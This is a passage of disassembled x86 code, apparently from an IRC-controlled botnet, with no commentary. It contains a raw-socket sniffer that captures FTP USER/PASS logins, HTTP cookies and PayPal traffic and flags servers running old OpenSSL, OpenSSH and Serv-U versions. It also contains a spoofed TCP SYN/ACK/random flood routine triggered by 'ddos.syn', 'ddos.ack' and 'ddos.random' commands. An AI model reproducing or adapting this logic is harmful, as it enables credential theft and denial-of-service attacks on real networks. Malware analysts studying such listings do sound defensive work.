		pop	ecx
		jz	short loc_41174E


loc_41174A:				; CODE XREF: sub_411734+29j
					; sub_411734+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41174E:				; CODE XREF: sub_411734+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41174A
		push	offset dword_44C7F0
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41174A
		push	offset dword_44C7FC
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41174A
		push	offset dword_44C808
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411796


loc_411792:				; CODE XREF: sub_411734+71j
					; sub_411734+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411796:				; CODE XREF: sub_411734+5Cj
		push	offset dword_44C810
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C818
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C820
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C828
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C830
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C838
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C840
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411792
		push	offset dword_44C848
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411792
		push	offset dword_44C850
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411792
		push	offset dword_44C85C
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_411734	endp


; =============== S U B	R O U T	I N E =======================================



sub_41184B	proc near		; CODE XREF: sub_411A34+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_44C868
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411865


loc_411861:				; CODE XREF: sub_41184B+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411865:				; CODE XREF: sub_41184B+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411861
		push	offset dword_44C874
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41188B


loc_411887:				; CODE XREF: sub_41184B+4Fj
					; sub_41184B+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41188B:				; CODE XREF: sub_41184B+3Aj
		push	offset dword_44C87C
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411887
		push	offset dword_44C884
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411887
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41184B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118C1	proc near		; CODE XREF: sub_411A34+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4118DB


loc_4118D7:				; CODE XREF: sub_4118C1+29j
					; sub_4118C1+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4118DB:				; CODE XREF: sub_4118C1+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4118D7
		push	offset aNick_2	; "NICK	"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4118D7
		push	offset a220	; "220 "
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411912


loc_41190E:				; CODE XREF: sub_4118C1+60j
					; sub_4118C1+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411912:				; CODE XREF: sub_4118C1+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41190E
		push	offset aUser_1	; "USER	"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41190E
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4118C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_411948	proc near		; CODE XREF: sub_411A34+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411962


loc_41195E:				; CODE XREF: sub_411948+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411962:				; CODE XREF: sub_411948+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41195E
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411988


loc_411984:				; CODE XREF: sub_411948+4Fj
					; sub_411948+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411988:				; CODE XREF: sub_411948+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411984
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411984
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411984
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_411948	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119CF	proc near		; CODE XREF: sub_411A34:loc_411DF9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4119E9


loc_4119E5:				; CODE XREF: sub_4119CF+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4119E9:				; CODE XREF: sub_4119CF+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4119E5
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411A0F


loc_411A0B:				; CODE XREF: sub_4119CF+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411A0F:				; CODE XREF: sub_4119CF+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411A0B
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4119CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A34	proc near		; DATA XREF: sub_401CC1+3B76o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BC60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4E08B4
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4E0920
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr sub_41C8D0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4E091C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_411ADA
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_411ADA:				; CODE XREF: sub_411A34+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4E08CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411B50
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_44C958
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411B2C
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408EB9
		add	esp, 14h


loc_411B2C:				; CODE XREF: sub_411A34+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_41458A
		pop	ecx
		push	edi
		call	dword_4E0934
		push	[ebp+var_34]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411B50:				; CODE XREF: sub_411A34+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4E0850
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411BD6
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_44C984
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411BB2
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408EB9
		add	esp, 14h


loc_411BB2:				; CODE XREF: sub_411A34+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_41458A
		pop	ecx
		push	edi
		call	dword_4E0934
		push	[ebp+var_34]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411BD6:				; CODE XREF: sub_411A34+13Cj
		mov	esi, 200h


loc_411BDB:				; CODE XREF: sub_411A34+1D6j
					; sub_411A34+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4E08B8
		cmp	[ebp+var_113AF], 6
		jnz	short loc_411BDB
		push	[ebp+var_113A4]
		mov	edi, dword_4F14D0
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_411BDB
		cmp	[ebp+arg_0], 19h
		jz	short loc_411BDB
		cmp	edi, 6Eh
		jz	short loc_411BDB
		cmp	edi, 19h
		jz	short loc_411BDB
		push	[ebp+var_113AC]
		call	sub_411725
		pop	ecx
		push	dword ptr [eax]
		call	dword_4F14D4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_32	; "%s"
		push	eax
		call	sub_41B740
		push	[ebp+var_113A8]
		call	sub_411725
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4F14D4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_33	; "%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_418D00
		add	esp, 10h
		test	eax, eax
		jle	short loc_411CD9


loc_411CA5:				; CODE XREF: sub_411A34+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_411CBC
		mov	byte ptr [eax],	20h


loc_411CBC:				; CODE XREF: sub_411A34+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_411CC4
		mov	byte ptr [eax],	20h


loc_411CC4:				; CODE XREF: sub_411A34+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_418D00
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_411CA5


loc_411CD9:				; CODE XREF: sub_411A34+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_411D8C
		cmp	edi, 50h
		jz	loc_411D8C
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_411734
		test	al, al
		pop	ecx
		jz	short loc_411D20
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44C9BC
		jmp	loc_411DBB
; ---------------------------------------------------------------------------


loc_411D20:				; CODE XREF: sub_411A34+2C7j
		cmp	edi, 50h
		jz	short loc_411D8C
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41184B
		test	al, al
		pop	ecx
		jz	short loc_411D56
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44C9F0
		jmp	short loc_411DBB
; ---------------------------------------------------------------------------


loc_411D56:				; CODE XREF: sub_411A34+300j
		cmp	edi, 50h
		jz	short loc_411D8C
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4118C1
		test	al, al
		pop	ecx
		jz	short loc_411D8C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CA24
		jmp	short loc_411DBB
; ---------------------------------------------------------------------------


loc_411D8C:				; CODE XREF: sub_411A34+2A9j
					; sub_411A34+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_411948
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_411DF9
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_44CA58


loc_411DBB:				; CODE XREF: sub_411A34+2E7j
					; sub_411A34+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B910
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_411BDB
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408EB9
		add	esp, 14h
		jmp	loc_411BDB
; ---------------------------------------------------------------------------


loc_411DF9:				; CODE XREF: sub_411A34+36Ej
		call	sub_4119CF
		test	al, al
		pop	ecx
		jz	loc_411BDB
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44CA90
		jmp	short loc_411DBB
sub_411A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E27	proc near		; DATA XREF: sub_401CC1+5CF9o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_412210
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_44CAC8
		push	eax
		call	sub_41B740
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_411EB7
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_408EB9
		add	esp, 14h


loc_411EB7:				; CODE XREF: sub_411E27+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_41458A
		push	[ebp+var_290]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
sub_411E27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411ED9	proc near		; CODE XREF: sub_412210+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E081C
		test	eax, eax
		jz	short loc_411F19
		xor	eax, eax
		jmp	loc_41220C
; ---------------------------------------------------------------------------


loc_411F19:				; CODE XREF: sub_411ED9+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E0940
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412204
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4E0880
		cmp	eax, 0FFFFFFFFh
		jz	loc_4121FA
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4E08A0
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4E08A0
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4E08A0
		mov	[ebp+var_12], ax
		call	sub_41B850
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E08A0
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4E089C
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411FE9
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_41203D
; ---------------------------------------------------------------------------


loc_411FE9:				; CODE XREF: sub_411ED9+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412005
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_41203D
; ---------------------------------------------------------------------------


loc_412005:				; CODE XREF: sub_411ED9+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41203D
		call	sub_41B850
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B850
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_41203D:				; CODE XREF: sub_411ED9+10Ej
					; sub_411ED9+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4E08A0
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_4F12BC	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4F13EC	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DE60
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_41208B:				; CODE XREF: sub_411ED9+2E2j
					; sub_411ED9+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B850
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E08A0
		mov	[ebp+var_14], ax
		call	sub_41B850
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B850
		or	edi, eax
		push	edi
		call	dword_4E08A0
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E089C
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E08A0
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A072
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C8D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A072
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	near ptr sub_41C8D0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4E0900
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4121CE
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_4F13EC	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4121F7
		jl	loc_41208B
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4121F7
		jmp	loc_41208B
; ---------------------------------------------------------------------------


loc_4121CE:				; CODE XREF: sub_411ED9+2CBj
		call	dword_4E083C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_44CB14
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_41458A
		add	esp, 10h
		jmp	short loc_4121FA
; ---------------------------------------------------------------------------


loc_4121F7:				; CODE XREF: sub_411ED9+2E0j
					; sub_411ED9+2EEj
		mov	ebx, [ebp+arg_8]


loc_4121FA:				; CODE XREF: sub_411ED9+78j
					; sub_411ED9+31Cj
		push	[ebp+var_20]
		call	dword_4E0934
		pop	esi


loc_412204:				; CODE XREF: sub_411ED9+5Bj
		call	dword_4E0804
		mov	eax, ebx


loc_41220C:				; CODE XREF: sub_411ED9+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_411ED9	endp


; =============== S U B	R O U T	I N E =======================================



sub_412210	proc near		; CODE XREF: sub_411E27+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409EFD
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41B3F0
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41B3F0
		mov	edi, eax
		call	sub_41B850
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_411ED9
		add	esp, 20h
		test	eax, eax
		jnz	short loc_41225F
		push	1
		pop	eax


loc_41225F:				; CODE XREF: sub_412210+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41226E	proc near		; DATA XREF: sub_401CC1+5ED2o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
